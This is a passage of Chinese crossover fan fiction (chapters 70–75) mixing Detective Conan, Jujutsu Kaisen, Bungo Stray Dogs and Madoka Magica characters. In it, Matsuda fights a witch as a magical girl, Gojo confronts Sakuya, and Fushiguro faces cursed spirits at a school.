现在榎原健一喊自己小松代的样子，让松田阵平想起了萩原研二。 恍惚间，总感觉像是小时候的hagi在喊自己一样。 虽然这样称呼女生还算是很常见的，只不过对于初次见面的人来说，稍微有些亲密了而已。 可是，他的语气、笑容……真的和hagi好像。 不过，这种时候也来不及多想，松田阵平只能再看他一眼，然后转身迎上那只朝他们攻击而来的魔女。 而留在原地的那几个人也尽量不给她拖后腿，互帮互助，合作着处理围攻上来的使魔。 虽然他们几个看不见使魔，但是也能根据触感、和水花溅起的样子，艰难地分辨着它们的数量和方位。 工藤新一的判断力和毛利兰的武力帮上了不少忙，在这种关键的时候，铃木园子也没有添乱，而是尽可能地冷静下来帮忙。 让萩原研二有些惊讶，没想到这三个孩子还挺出色的。 他自然也要做好大人的榜样，拿着枪小心地攻击，保证不伤到他们而又杀掉威胁到他们的那些使魔。 就这么坚持了一段时间，他们的配合逐渐熟练起来。 即使每个人身上都受了一些伤，看起来有点凄惨，但明显他们是稍占优势的那方。 而周围的使魔始终没有占到便宜，还死了那么多，也开始有点退缩，不像一开始涌上来的数量那么多。 他们几人得以缓了一口气，不由得担心地望向不远处的那位魔法少女。 对方要面对的对象显然比他们要危险多了。 就算如此，那个少女也还是在战斗的同时，尽可能关照着他们。 她会帮忙拦下波及到他们的攻击，或者是随手用炸弹解决掉涌向他们的众多使魔。 但也正是因为这样，松代的战斗显得有些艰难。 她受过许多比较严重的伤害。 要是换作是其他普通人，早就已经倒地，无力再继续战斗下去了。 而松代却还能一直坚持着，显然体质要比其他人类好上许多。 可是萩原研二他们依然很担心对方，但因为无法帮上对方什么忙，只能在原地干看着空着急。 幸好，在一番长久的对抗之后，竟然还是那只魔女先行坚持不住。 它身上的那些水滴拼贴画，被松代用各种军.火轰炸得纷纷掉落下来，身体也烂得快要无法再接回去…… 松田阵平抓紧时机，在众人惊愕的目光下，用魔法构建出了一个火.箭筒。 与少女偏娇小的身躯相比，那个火.箭筒显得格外巨大沉重，而那少女却能轻松地抬起它，对准那只魔女。 “轰——” 虽然其他人看不见魔女，但都能听见四处水花溅起的巨大声响，证明有什么东西身体被炸成了好几块，分散掉落在了不同的区域。 松田阵平再继续动手，处理掉周围剩下的这些使魔。 重头戏的魔女已经解决了，这些使魔也就没多少威胁了。没花太长时间，就都被松田阵平用连发手枪解决完了。 松田阵平捡起了掉在角落的悲叹之种，没有使用，而是先收了回去。 她走向那几个普通人，看着他们身上的衣服都有些破破烂烂的了，问道：“你们还好吗？” “太酷了——” 要是往常自己伤成这样，铃木园子早就忍受不住了。 但是现在她的眼睛亮得惊人，完全忽略了自己身上的伤口，只顾着和松代说话：“松代，你真的太厉害了！” “好多种类的军.火，我都说不上来名字，你居然都会用！还有那些炸弹，还有刚才最后那一下，简直太酷了好吗！！！” 松田阵平看着面前激动的少女，显得颇为不知所措。 她没想到自己和那些魔法少女同伴好歹也相处了一段时间，自己现在却依然没什么办法，不知道该怎么和女孩子相处。 旁边的工藤新一这时候也插嘴道：“松代小姐，你对很多枪.械的使用都很熟悉，请问是怎么学的呢？” 松田阵平微微挑眉。 这个少年还挺敏锐的，她只是敷衍道：“自己慢慢练的。” 工藤新一看着她，犹豫了一下，没有继续问下去。 “对了，松代小姐，这个还给你，谢谢啦。” 萩原研二则把刚才的那把手.枪递还给她，先道了个谢，再关心地问道：“你身上的伤没事吧？” 虽然松代身上的衣服质量显然很好，但萩原研二还记得对方刚才又是吐血，又是从高空落在地上的…… 肯定受伤不轻。 “还好，不严重。已经在慢慢恢复了，只是恢复的速度太慢了。” 松田阵平不太在意地随口道。 她发现自己承受伤害的能力比较强，虽然恢复能力不强……但只要不是致命伤，自己应该没那么容易死。 如今魔女解决了，悲叹之种拿到了，这里的结界也开始慢慢消散。 松田阵平开始忍不住在意起刚才的小事来。 榎原健一之前不是叫她叫的是小松代吗，为什么现在又改口喊松代小姐？ 而且，从刚才和对方的短暂相处中，她愈发觉得这个人很令人熟悉。 对方所展现出来的性格，总觉得和当初在伊江店里见到的有点不太一样，就像当时对方是故意维持着一点假面般。 实在有些奇怪…… 虽然也不是不能用对方当时有点拘束，或是对待不同的人表现出来的性格有点不同来解释……但是松田阵平就是本能地觉得对方是故意的。 松田阵平盯着面前的男人。 对方还是柔顺的黑色短发、清澈的蓝色双眼，稍显内敛的气质…… 但是松田阵平却不会再联想起诸伏景光来，而是看着他，想到了自己有四年没再见面的幼驯染萩原研二。 “松代小姐，你怎么这么看着我？” 萩原研二感受着对方的目光，也觉得有些令人毛骨悚然的熟悉，不由得尴尬地出声问道。 他倒是也有些想起了自己的幼驯染松田阵平。 这位松代小姐，不仅是姓氏和小阵平比较相似，连性格和一些动作都比较巧妙的令人眼熟呢。 ……真巧啊。【你现在阅读的是 】 70-80 第71章 松田阵平试探地说道：“我发现，你好像和我认识的一个人有些相似？” “是、是吗？” 萩原研二有点结巴。 不会吧不会吧…… 萩原研二心乱如麻，胡乱地道：“我这其实是大众脸，和很多人都长得像……能和魔法少女认识的人长得像，我非常荣幸。” 松田阵平听到魔法少女这几个字，脸色瞬间变得不怎么样了。 她意识到，现在自己的这种问法，不管能否挖掘出对方身上的疑点，都很容易使自己暴露。 然而按照如今魔法少女的热度来说，自己一旦暴露就真的要直面社死了。 “不用这么说。” 她下意识地为自己遮掩道：“其实，我是在说我的朋友，他认识的人和你比较像，不是我……” 旁边的几个未成年有点茫然地看着他们两个，听不太懂这两个人在说些什么。 工藤新一不禁出声问道：“你们两个为什么看上去都有点紧张？” 萩原研二：“没有。” 松田阵平：“没有。” 两人都将近于同一时间脱口而出。 工藤新一有点不太理解这两人。 明明相互都明显隐藏着秘密，都能看出对方隐藏着秘密，却不愿意打开天窗说亮话，非要维持着表面的平衡。 工藤新一只能说：“……你们还挺有默契的。” 不过，铃木园子却是真的没看出来什么异常，她也没心思仔细观察那些，只是比较羡慕榎原健一和松代好像很投缘的样子。 她忍不住道：“我也觉得松代很眼熟！” 松田阵平愣了一下。 铃木园子不好意思地说：“松代……很像我的朋友。” 松田阵平完全不知道该怎么应付这样的少女了，比她平常相处的那些同伴要不一样太多了。 “园子的意思是她很感谢你，希望能和你做朋友。”毛利兰诚挚道谢：“我们都很感谢你救了我们，松代酱。” 松田阵平：“……没事的。” 人在不知所措的时候，确实连眼神都不知道该落在哪里了。 看看对面少女亮晶晶的眼睛，再想想自己少女外表下的真实身份……就令人莫名有种非常心虚的感觉。 不过，也正是因为不好意思直视对方的眼神，松田阵平移开视线，发现了意料之外的情况。 ——角落处，有抹白色的身影一闪而过。 出现在这里，又有着这么快的反应速度…… 松田阵平对那个身影究竟是谁便很快有了猜测……是朔夜吧？ 应该也不会再有别人了。 原来那家伙不是没来，而是躲在一旁默默看着吗？这也太别扭了。那家伙该不会是社恐吧？？ …… 另一边的朔夜先离开了那片区域。 她一边走，一边在心里跟系统对话：‘她们倒是一个比一个直觉敏锐，都到了有点可怕的地步了……’ 系统：【确实，不过你为什么总躲着她们呢？】 ‘她们总得独自面对魔女，我在旁边只会限制她们的发挥。’ 【也是，刚才松田的表现很不错，已经足以单独面对许多类型的魔女了。】 朔夜摇了摇头：‘还不够。’ 系统有点不解，刚想开口问，朔夜便说道：‘这个世界也不是只有魔女。这么下去，总会有别的势力盯上她们的……’ 话还没说完，系统一怔，随即立刻道：【感知到附近有符合魔法少女要求的人。】 朔夜：‘……？’ 她停住了脚步，有所察觉地望向一个方向。 一个身材格外高挑的白发男子从那里走过来，他摘下了自己的眼罩，露出了一双非常独特的蓝眸。 这特征太鲜明了。 伊江朔久之前操控丘比接近伏黑惠的时候，也见过他。 但问题是……五条悟怎么会出现在这里？ 在朔夜打量着五条悟的时候，五条悟也同样打量着她。并且不解的地方比朔夜只多不少。 ——毕竟朔夜现在的样子实在有点狼狈。 刚才她在魔女的结界里待了很久，自然也被那里从不停歇的雨淋了许久。 她又没有无下限那种方便的术式，也不方便为了给自己遮雨就弄出很大动静来，所以如今身上确实湿淋淋的，水珠还在不断顺着发丝滚落。 五条悟犹豫了一下，随后非常自来熟地挥了挥手，跟她搭话：“嗨，是魔法少女诶。” 朔夜：“……” “你现在还好吗？我记得在网上看到过你哦，你认识我吗？之前米花医院的事情是你解决的吧？你怎么不说话？” 五条悟一连抛出了好几个问题。 朔夜：“……” 这家伙好麻烦啊。 这时候，另一个身影也从拐角处快步跟过来——是熟悉的有着黑色海胆头发型的少年。 对方没看到这边的情况时，还在说话：“五条老师，你刚才怎么突然跑这么……” 直到伏黑惠见到了五条悟旁边不远处的朔夜，后面的话便自动消音了。 他简直吓了一大跳。 没有想到会在这里突然碰见朔夜，更没想到会看到朔夜一副似乎淋了很久雨的样子，尤其是五条老师现在也在这里…… 这种情况真是够吓人的了。 不过，伏黑惠倒也立刻意识到，朔夜应该认不出现在没变身的自己。 他缓了一口气，尽量缩小存在感，并用理智维持着自己不展现出过多的异样来。 “惠。”但是五条悟却没放过他，兴冲冲地道：“快看，这是魔法少女哦。” 伏黑惠身体有点僵硬，感觉就像是自己被点到了一样，完全不想搭理自家老师。 “惠？？！你怎么也不理我？”五条悟不满道。 伏黑惠：“……” 第72章 面对自家五条老师过分活泼的样子，还有朔夜望过来的平静眼神…… 伏黑惠头一次觉得自己是这样的弱小可怜又无助，只想把自己缩到角落里去，逃避这两个麻烦源…… 幸好，朔夜终于先采取了行动。 她似乎也不怎么能忍受现在的奇怪氛围，一声不吭地扭头就想离开。 伏黑惠从来没有像现在一样觉得，朔夜寡言冷漠的这种性格还蛮不错的，至少能让五条老师搭不上话。 ——要是他们两个人能够好好聊起来，对于伏黑惠而言，那可就实在太恐怖了。 然而，五条悟却不是会轻易放弃的人。 看着对方想走，他便往旁边走了几步，拦在了朔夜面前。 五条悟的身高超过一米九、体型高大，站在一个身高不足一米五的少女面前，看起来简直就像是在霸凌弱小一般。 要是旁边有正义的路人经过，这时候说不定都打起了报警电话。 五条悟笑了笑：“别着急走嘛，我还有很多问题想问你呢。” 朔夜倒是终于开口了，语气却一如既往地不怎么样：“我没有理由回答你吧。” “倒也不必这么说，说不定……”五条悟话没来得及说完，便中途停顿了下来。 因为面前的白发少女微微一动，手上多了一把弓。 这里的氛围顿时变得剑拔弩张…… 伏黑惠又一次想起了幻境里朔夜杀掉丘比的样子。 然而面对这样的白发少女，五条悟短暂地顿了一下，又轻松地笑了起来，似乎完全不觉得对方会对自己动手。 朔夜表情依然淡漠，她举起了手中的弓。 伏黑惠心中立刻响起了警铃，有了之前的经历，他才不会觉得朔夜不会随便对旁人出手。 他忍不住出声提醒道：“五条老师——” “没关系的，惠。”五条悟表现得云淡风轻。 随后，白发少女真的开始拉弓，箭矢随着一声轻微冰裂般的响声射出，擦过五条悟身体右侧飞了出去。 伏黑惠诧异地望向箭矢飞去的方向，看着它穿透了远处一只咒灵的身体。 那是一只浑身棕褐色、有着锋利爪牙的咒灵。 此刻被箭矢死死钉在地上，不断地发出痛苦哀嚎的声音，身形在慢慢地消散而去。 伏黑惠记得这只一级咒灵，这是五条老师把他带过来要教他祓除的任务目标。 朔夜解决了这只咒灵，却没有立即收回手里的弓，而是看向身边挡路的五条悟，道：“让开。” 五条悟见这家伙真的是一点都不愿意配合，仿佛回答几个问题就跟要了她的命一样，只能无奈地退让了一步。 看着对方收回弓箭，头也不回地离开…… 五条悟叹了口气，对伏黑惠说：“她真是凶巴巴的。” 伏黑惠犹豫了一下，还是赞同地默默点头。 五条悟又想起了之前在网站上看到的最新录像视频——指的是朔夜对其他魔法少女训练时的片段。 因为伊江朔久不想暴露魔法少女们的具体实力，又需要时不时上传一些她们的信息到魔法少女网站上。 于是，伊江朔久放的视频便并不完整，大多只有几秒片段，或者一些照片。 再加上没有前因后果，这种训练的视频，看上去就很像是实打实的打架视频。 “这种性格真不容易啊。” 五条悟感叹道：“她平常大概也和其他人相处不来吧。” 伏黑惠沉默。 这种话虽然说起来也没错，但是由五条老师这样总是被人嫌弃性格的家伙说出来，感觉就有些怪怪的了。 五条悟继续道：“真可怜啊，看上去蛮孤单的……” 伏黑惠怀疑自己听力出现了问题。 “……你在说谁？？！” 五条悟说道：“刚才看上去确实挺可怜的啊。” 伏黑惠想一想方才朔夜淋湿的样子，再想一想她们几个私底下建立的那个唯独排除某人的群聊…… 好吧，他还是继续保持沉默吧。 “不过，你交的那位小女朋友，虽然内向但性格还是蛮可爱的，应该不用担心跟其他人相处的问题。” 五条悟不知为何忽然提起了这个。 伏黑惠又下意识地紧张起来，随便敷衍道：“……应该吧。” 可惜，五条悟不是突然兴起想要逗逗他，而是似乎真的已经从哪里得知了一些信息。 “她和其他魔法少女相处起来，应该也没什么问题的。”五条悟提示得几乎已经算是非常直白了：“对吧？” 伏黑惠身体僵硬，还是不死心地硬撑着：“五条老师，我听不懂你在说什么。” 五条悟笑道：“那我就直接问了，那天接电话的那个女孩子是禅院穗吧？” 伏黑惠：“……你是怎么知道的？” “你这段时间的异常太多了哦，惠。”五条悟毫不心虚地说：“身为你的监护人，我怎么能不好奇呢？” 这很明显是在承认，他调查了伏黑惠。 伏黑惠：“……” 伏黑惠也知道，自己刚开始在魔法少女并未被大众所知之前，行事还是不够谨慎的。 那时候变成禅院穗出没在津美纪或伏黑家附近，留下一些监控视频，或是被其他路人意外拍到……都不算令人意外。 五条悟说道：“毕竟你改变得太多了，老师还是很担心的。” 伏黑惠不知道如今该怎么说。 “而且你都已经告诉了津美纪，却居然不告诉我。” 五条悟主动解释道：“津美纪没怎么透露哦，不过我一诈她，她就表现得很明显是知道的。” 伏黑惠忍不住问道：“所以你还知道什么？” 五条悟闻言，却反问他：“你觉得还有什么事情，是我应该知道，却又还不知道的吗？” 这种事情……要一个个说起来，那可就太多了。 伏黑惠再次陷入了沉默。 “不能说？” 五条悟这么问着，但话语里听不出什么意外之色来。 他好心提醒道：“惠，那你一定要记得把秘密隐藏好了，并不只有我对魔法少女们感兴趣呢。” 伏黑惠顿了顿，点头道：“……我记住了。” 第73章 与五条悟分别后，伏黑惠觉得自己的压力总算是减少了许多。 他想了想，登上了那个只有四个人的群聊。 他还是有点在意为什么朔夜当时会是那个比较狼狈的样子——毕竟先前那附近虽然是下了一些雨，但却只算是小雨，而且没多久就停了。 那种程度的雨似乎不太可能会将对方淋成那样，还不如说是对方掉进河里更可信一些。 伏黑惠准备间接地去问问其他人。 禅院穗：【@松代，你今天的训练结束了吗？】 松代：【结束了，你有什么事？】 禅院穗：【没什么，就是想问一下今天的训练内容还是和往常差不多吗？】 这次确实和往常不一样。 松田阵平想，但是禅院穗为什么会突然问这个。 不过这种事情倒也没有隐藏的必要，就算他不说，也不能保证朔夜不说。 于是，松代便直接回复道：【不是，我这次是去处理了一只魔女。】 艾尔菲：【魔女？】 津岛：【你一个人独自解决的吗？】 松代：【嗯。】 菲茨杰拉德有点后悔，早知道今天的训练不是挨打，他当时就应该答应帮忙跟松代换一下了。 津岛好奇道：【那悲叹之种是在你那里，还是……？】 松代：【在我这里。】 说起来，松田阵平也觉得有点别扭。 虽然这次的魔女的确是仅凭借自己一个人打败的，他拿走悲叹之种也算十分正当。 但考虑到，朔夜提供了情报，又也在一旁照看着，再加上这次的魔女出现的地点是在东京…… 于是松田阵平之前便没有直接使用，而是选择发消息先询问了朔夜的意见。 没想到，朔夜却直接让他自己留着这颗悲叹之种，即使它可以供人使用两次。 而这种情况也同样令伏黑惠感到难以置信，不明白为什么先前一副眼里只有悲叹之种的朔夜，会选择把它留给松代。 他忍不住打字问：【那你是在东京解决那只魔女的吗？】 松田阵平愣了一下，觉察禅院穗刚才的这几个问题都有点怪怪的，便没有及时回答。 津岛也很敏锐地反问道：【禅院，你今天是碰见松代或朔夜了吗？】 这个问题非常突然又直接，使得伏黑惠忽然一惊。 简单的思考过后，他打字回道：【没有。】 伏黑惠如今只能说谎。 否则万一被朔夜知道，他的真实身份就很容易暴露。 为了保险起见，他还是不准备再继续聊这个话题了，感觉其他的魔法少女同伴似乎都没那么简单。 看来……除了要小心其他对魔法少女感兴趣的人之外，连她们内部的人也得好好注意才行。 保守秘密真难啊…… 结束一个话题最好的方法就是，开启一个新的话题。 伏黑惠虽然明白这个道理，但实在不擅长话术，转移话题得稍微有点生硬： 【似乎自从朔夜开始教我们之后，我就很少再看见丘比了。】 津岛：【它也确实很久没来找我了，也不知道我们什么时候会再加新人进来。】 松代这时候却道：【你们要是想找丘比的话，可以去问朔夜，他们关系不是一直挺好的吗。】 这话一出，禅院穗和津岛都沉默了许久。 群里的氛围短暂地冷了下来。 一直挺好的……？ 是指一方能眼睛眨都不眨地杀掉另一方吗？这算是什么关系？‘生死之交’吗？？？ 如果其他人见过幻境里那一幕，估计就再也说不出这种话了吧。 艾尔菲倒也没有去过幻境，见松代这么说，她也想起了上次聚会时朔夜和丘比和谐交谈的样子，附和道： 【也是。】 津岛：【……】 …… 此时，Lupin酒吧里。 “好不容易抽出空来一起喝酒，太宰你怎么总是在看手机？” 坂口安吾坐在一旁的高脚凳上，语气稍显不满地问道。 太宰治暂且放下了手机，抬头望向坂口安吾。见他手上拿着酒杯，脸微微有一点红，显然是稍有醉意了。 “我也没办法，群聊里的大家每天的聊天内容也太有意思了。” 太宰治喝了一口自己面前杯中的酒，随口说道。 “那现在跟我和织田作先生聊天就没意思吗？”坂口安吾皱眉道：“我可是好不容易才从繁忙的工作里抽出空的。” “这可不能怪我吧。都是你们异能特务科太会压榨人了。” 太宰治趁机劝道：“不如换个工作吧？我和织田作每天都还算清闲哦。” 坂口安吾听着更羡慕了，但他怎么可能换工作。 他只得不开心地道：“现在说的是太宰你的问题。织田作先生，你倒是也说说太宰啊。” 织田作之助想了想，对太宰认真地说：“经常看手机是不好的，孩子们也很喜欢看手机。但是看多了，对眼睛特别不好。” 太宰治无奈道：“我早就不是孩子了。” 织田的嘴唇动了动，似乎是想说什么，却又不知道该怎么说出口。 坂口安吾却立刻反驳了太宰治的话：“我不信。那你怎么还会像个孩子一样地对手机上瘾？” 太宰治：“……” 太宰治：“你们和我群里的那些人也有很多共同之处。” 比如，偶尔都能噎得他说不出来话。 织田问道：“那些是太宰的新朋友吗？” 太宰治再度沉默。 半晌后，他艰难开口：“当然不是啊，为什么会这么觉得？” “这样啊。”织田的表情似乎是有点可惜：“你看起来很喜欢和他们聊天，所以我还以为你们是朋友。” “好了好了，不聊了，我今天之内都不跟那些人聊了。” 太宰治嘟囔着：“跟他们聊天的主要原因，其实也是因为我的一份新工作而已……” 坂口安吾对工作这两个字向来很敏感：“新工作？” 太宰治：“是啊，不过目前还算是轻松有趣的工作。” 织田想起了自己的死而复生，那件事的代价太宰治一直含糊其辞，不愿意直白地告诉他。 他忍不住再次问道：“有什么需要我帮忙的吗？” “暂时还没有。”太宰治道：“先别说那个啦，织田作，你的新作写得怎么样了？” 被催稿的感觉忽然浮上心头。 这可能是每个作家都逃不过的恐怖故事。 织田显得有点木然：“在写了……” 太宰治早就注意到织田衣服口袋里露出了本子的一角，指向它道：“那是什么？你的草稿吗？” 闻言，织田下意识地想要把本子重新好好地塞回口袋里，但手只是微微一动，却又放弃了。 他无奈回答：“日常生活里用来记录一些灵感的小本子，写小说能用得上。” 第74章 “听起来很不错啊，能让我看看吗？” 太宰治很有兴趣地问道。 织田作之助顿了一下，才慢吞吞地道：“……记录在里面的文字太乱了，我自己也不知所云。还是等我整合成文章之后，再让你看小说的内容吧。” 太宰治看着织田比较平静的表情，没再说什么，只是笑着道：“好吧，我会好好期待的。” 他当然能够看出对方似乎隐藏了什么秘密，不想让自己知道。 但是刚才织田作没有追问他的新工作是什么，既然如此，现在他自然便也放弃了对织田作秘密的探究。 没什么好追根究底的，只要是人几乎都有秘密。 他的新工作——其实就是暗地里成为魔法少女的工作，这是绝对不能让织田作知道的。那也就不应该纠结织田作瞒了他什么了。 太宰治给织田快见底的杯子里又倒满了一杯酒。 蜟蜥 织田有点苦恼地道：“我有点喝不了了。” 坂口安吾笑了起来：“织田作先生，你的酒量变得差劲了许多呢。” “在和孩子们住到一起之后，就不太方便醉醺醺地回到家了，会让他们过早地想要接触酒精的。” 织田如实解释道。 “原来是这样，那真是太可惜了。” 坂口安吾想了想，道：“就再喝一点吧，刚好，我们顺便来干杯吧。” 织田点点头同意了，举起了自己的酒杯。 太宰治带着笑意问：“为了什么而干杯？” 织田作之助说： “就……为了今日吧。” 如果今后的日子，都能像今日一样平凡而美好，那便是非常难能可贵的事情了。 他的两位友人显然也理解他的看法，他们都举起了酒杯。 “为今日干杯——” 酒吧里播放的轻音乐节奏渐渐变缓，悠扬的旋律在空中流淌着…… 就在今日，此时此刻。 他们笑着将各自的酒杯轻轻相碰，玻璃杯发出清脆悦耳的碰撞声。 时间虽然没有在这一刻定格，但是如今的这一幕却是真实存在过的。仅仅是这样便足够了。 …… 几天后，杉泽第三高校。 伏黑惠穿着咒术高专的校服出现在了这里。 一身黑的特殊衣服、再加上不错的颜值，以及此刻明显糟糕的情绪……使得他只是站在角落，却吸引了这里不少学生的目光。 伏黑惠也注意到周围的目光，他的脸色越来越糟糕了。 他低声对电话那头的人说道：“特级咒物真的在这里吗？我都找了这么久了，完全没找到半点踪迹啊。” “具体的我也不是很清楚，但是那个东西非常重要哦。” 电话那头的熟悉男声用着一种非常熟悉的语气笑着道：“惠，找不到的话，你就别回来咯。” 可恶…… 伏黑惠无声地慢慢攥紧了拳头。 “继续加油吧。”五条悟留下这一句话就挂了电话。 伏黑惠忍耐着怒火，强行让自己深呼吸冷静下来。 特级咒物非常重要——这种事情他当然是知道的啊。 可是，这种任务本来就不该交给自己这样的新生吧？这原本应该是五条老师的任务才对！ 而如今，特级咒物两面宿傩的手指不知为何失踪了，也不知道是不是被什么人偷走了。 这种时候，五条老师居然还是让他来继续做这个任务。 他已经找了半天多了，不但没有任何线索，还能察觉到附近特级咒物残留的气息在逐渐变淡…… 这可真是个不妙的信号，要是特级咒灵真的丢了，他未来的咒术师生涯绝对就会因此迎来无比沉重的打击。 这么想想，他作为魔法少女的事业似乎倒还发展得不错…… 最近在朔夜的帮助下，他提升了不少实力，前一天还成功解决了一只魔女、拿到了悲叹之种净化自己的灵魂宝石。 就连在民众之间的名气也越来越大…… 他现在都能听到旁边有几个学生在谈论魔法少女的事情。 ——“你们最喜欢哪个魔法少女？” ——“我觉得松代既帅气又可爱。朔夜也很不错，不过有点太冷了。艾尔菲的气质超级吸引我……” ——“停、停，你这不是把全部魔法少女都提了一遍嘛。” ——“确实是所有魔法少女都很好啊，对吧？虎杖，你觉得呢？” ——“啊，嗯唔，你说得对。” 伏黑惠心不在焉地听到这里，忽然脑海里莫名闪过了什么。 虎杖这个姓氏似乎有一点耳熟，那个叫虎杖的人说话的声音也似曾相识，好像在哪里听过…… 伏黑惠下意识扭头看向那几个交谈着的学生。 他一眼就看到了其中的那个粉黑色尖刺短发的少年，看上去和自己差不多年纪，真的好眼熟…… 能不熟悉吗？ 他忽然想起来，这不就是自己两个月前在饭店里遇见的那个男生吗？对方当时还加了禅院穗的联系方式！ 这时，虎杖悠仁旁边的同学还很有兴趣地道：“虎杖，怎么一提到魔法少女，你的神情就显得有点奇怪。你有最喜欢的魔法少女吗？” 虎杖悠仁犹豫了一下，说：“禅院……吧，我见过她。” “诶？？见过？？！” 旁边的几人显得很惊讶，好奇又羡慕地开始追问。 “在哪里见过？你真的是在现实里看见过禅院穗吗？！” “真的吗？你当时有跟她搭上话吗？……” 虎杖悠仁不好意思地道：“其实，我和她当时只是偶遇而已。” 在不远处默默听着的伏黑惠，感觉自己的心情就犹如过山车，一会儿上一会儿下的…… 简直太令人煎熬了。 刚开始听到虎杖悠仁说见过禅院穗时，他便立刻回忆起了当时和对方在饭店里见面的场景。 那个时候的自己情绪似乎是被人影响了，表现得有些明显不太对劲，后来还莫名被其他人指着、被提到过凶手也有可能是自己…… 总之那一次，虎杖悠仁见过了禅院穗在饭店里的所有黑历史。 幸好…… 刚才在其他学生的追问下，虎杖悠仁没有说出当时发生的事情，而是含糊了过去。 伏黑惠庆幸对方人还挺好的。 即使虎杖悠仁有着她的社交账号，但是在得知她是魔法少女后，也没有刻意来找她说话，没给她增添不必要的麻烦。 他缓了一口气，随后快步向远处走去，准备先远离这边在闲谈的虎杖这几人…… 虽然虎杖是个好人，但是虎杖知道得实在是太多了。 他还是尽量远离对方吧。 反正这一次的相遇只是意外，如今避开对方之后，他们应该以后也很难有机会再见面了。 第75章 伏黑惠又在杉泽第三高校搜查了许久。 他不仅还是没有找到线索，还更加肯定特级咒物留下的气息在逐渐淡去…… 真是糟糕，宿傩的手指真的已经不在这个学校里了，估计已经被带离了这里。 万一是被什么别有用心的人拿走，那估计就很难再找到它了。 伏黑惠感到头痛。 这么重要的事情不会真的要搞砸在自己手上吧？ ‘伏黑，终于找到你了，你原来在这里啊。’ 随着声音的响起，伏黑惠转头用视线在附近找了找，看到了那个熟悉的白色生物。 他不解地在心里道：‘丘比，好久不见，你找我是为了什么？’ 丘比想了想，回答道：‘其实也不是我找你，是朔夜找你。’ 伏黑惠倒也大概能明白朔夜为什么会找自己。 今天本该是禅院穗的训练时间，朔夜已经提前通知过她了。 但是，伏黑惠没有处理完丢失的特级咒物的事情，是完全没有心情和时间去训练的。 所以他也已经提前拜托了松代，让对方来替自己完成这次的训练。 可是为什么？ 上次明明津岛代替松代训练，被朔夜默认同意了。这一次松代来替自己，却不被同意。 难道是松代不如津岛那样会说话吗？不可能是这种原因吧。 还有更让人难以接受的是——许久不见的丘比这次会为了朔夜，而过来找他。 丘比和朔夜的关系就真的有这么好吗？？！ 看着丘比如往常一样不变的微笑，伏黑惠默默叹了口气，说道： ‘我现在没时间去见朔夜。你告诉她，等我自己的事情忙完了，我会去主动找她的。’ 丘比应道：‘好的。’ 伏黑惠也点了点头，随即准备去一下校长室。 现在得换个思路了。 无法通过咒力感知找到宿傩手指，就只能换一个比较麻烦的办法了。 ——借助附近的所有监控、以及可能存在的目击者，找一下宿傩手指的动向。 虽然没有正对着存放宿傩手指的百叶箱的监控，但是附近的监控也不少，只要它们都还没坏，应该还是能找到一些线索的。 不过走了几步，伏黑惠又停下了脚步，看着自己旁边紧跟着的丘比： ‘你怎么还跟着我？有别的事情吗？’ ‘没有。’丘比歪了歪头，说道：‘你现在不是遇到困难了吗？我只是想帮上你的忙。’ 伏黑惠倒是没想到收到这样的回答。 这种话可跟五条老师不久前说的话形成了鲜明对比，令人感动多了。 ‘……谢谢。’ 他看着丘比，又一次想起了幻境中被箭矢贯穿头部、淌了一地鲜血的对方。 幻境中的那些场面终究不知真假，他完全不知道前因后果，难辨是非。 而且就算是真的，那时的自己也说过“即使说了，也无法改变什么吧”…… 正是因为这些，伏黑惠才尽量不去重视幻境里见过的那些场景。 不过这时，他还是想说了。 ‘丘比，你还是……小心一点朔夜吧。’ 丘比：‘……啊？’ 伏黑惠的这句话可真是出人意料。 伊江朔久没想到，对方会在这种时候对丘比说这种话。 丘比和朔夜本质上都是由同一个人操控的，所以这不是让他自己小心自己吗？？？ 看着白色生物此刻很像动漫里那些吉祥物、一副呆萌又不太聪明的样子，伏黑惠总觉得有点心累： ‘你不用多说什么，记住我现在的话就可以。’ 丘比沉默了片刻，随后还是答应了：‘我知道了。’ 伏黑惠也算稍微放心了一点。 这时候，远处忽然传来了巨大的哄动声。人群惊叫、哭喊的声音从稍远处传至他的耳边。 伏黑惠顿时警觉起来，没有丝毫犹豫，此刻也顾不上丘比，便转身迅速往声音来源的方向奔去。 他穿过学校走廊、经过小径，很快就成功地抵达了学校的操场处。 眼前的景象让他心头一震——操场上，有几个似乎是咒灵的怪物在肆意横行，无差别地攻击着周围的人群。 学生们惊慌失措，四散开来，疯狂地往外涌去，哭喊声此起彼伏。 在这拼命往外逃的人流中，伏黑惠艰难地挤上前去，准备去解决掉这几个咒灵。 好在其他学生逃得比较快又比较灵活，还全部都是尽可能地避开这些咒灵，然后往远处逃跑的。 这让伏黑惠稍微有点疑惑。 毕竟普通人是无法看见咒灵的，除非是在生死关头等紧要时刻。 如果说这里的一小部分人能够激发潜力、看到咒灵，这还算是正常合理的。但要是全部人都能看见咒灵就比较奇怪了。 不过，伏黑惠也来不及多想。 这种时候情况紧急，还是先去解决咒灵再说吧。 反正，魔女和使魔也是不会被普通人看见的。而这几个怪物身上也有咒力，所以它们只可能会是咒灵。 没过多久，这个操场便只剩下几个人，几乎都是因为正在被咒灵攻击而难以逃脱的人。 普通人少了，顾虑便也少了，伏黑惠就更方便发挥自己的实力。 他召唤出了自己的式神黑白玉犬、鵺、虾蟆，让它们分别去对付几个咒灵，先尽可能地救下被咒灵攻击的人类。 吸引那几个咒灵的注意，使它们先放开别的普通人——这点还是比较容易的。 困难的是，他的式神难以一对一地战胜这几个咒灵。 伏黑惠现在才刚刚入学两个月，能成为二级咒术师，已经算是他的天赋很好了。 但他怎么也不可能成长那么快，能够一次性对上多个咒灵。 丘比此刻在旁边出声道：‘你先坚持一下，我去把朔夜找过来。’ 伏黑惠脸上的表情一下子有点慌了，立即道：‘别，你别叫她，不用麻烦的。’ 这种时刻，现在才去把朔夜叫过来，对方大概率是赶不及过来的，而且也会因此暴露他自己的信息。 如果朔夜能很快就赶到这里，那就更恐怖了，这不是代表自己今天就会被迫掉马甲吗？！ 丘比还在劝：‘你放心。她不会觉得麻烦的。’ 伏黑惠完全不明白丘比为什么会这么相信朔夜，还是第无数遍在心里纠结这两个的关系为什么这么好。 ‘真的不用。’他无力地说：‘这些是咒灵，又不是魔女，朔夜也不好解决它们吧。’ 丘比却道：‘你放心。就算是咒灵，她也可以解决的。’ 伏黑惠这下就一时间不知道该怎么说了。 还没想好说辞，他就看见丘比向着远处跑远了。 ‘丘比？！！……’ 因为还要面对眼前这几个难缠的咒灵，伏黑惠只能在心里喊了几声。 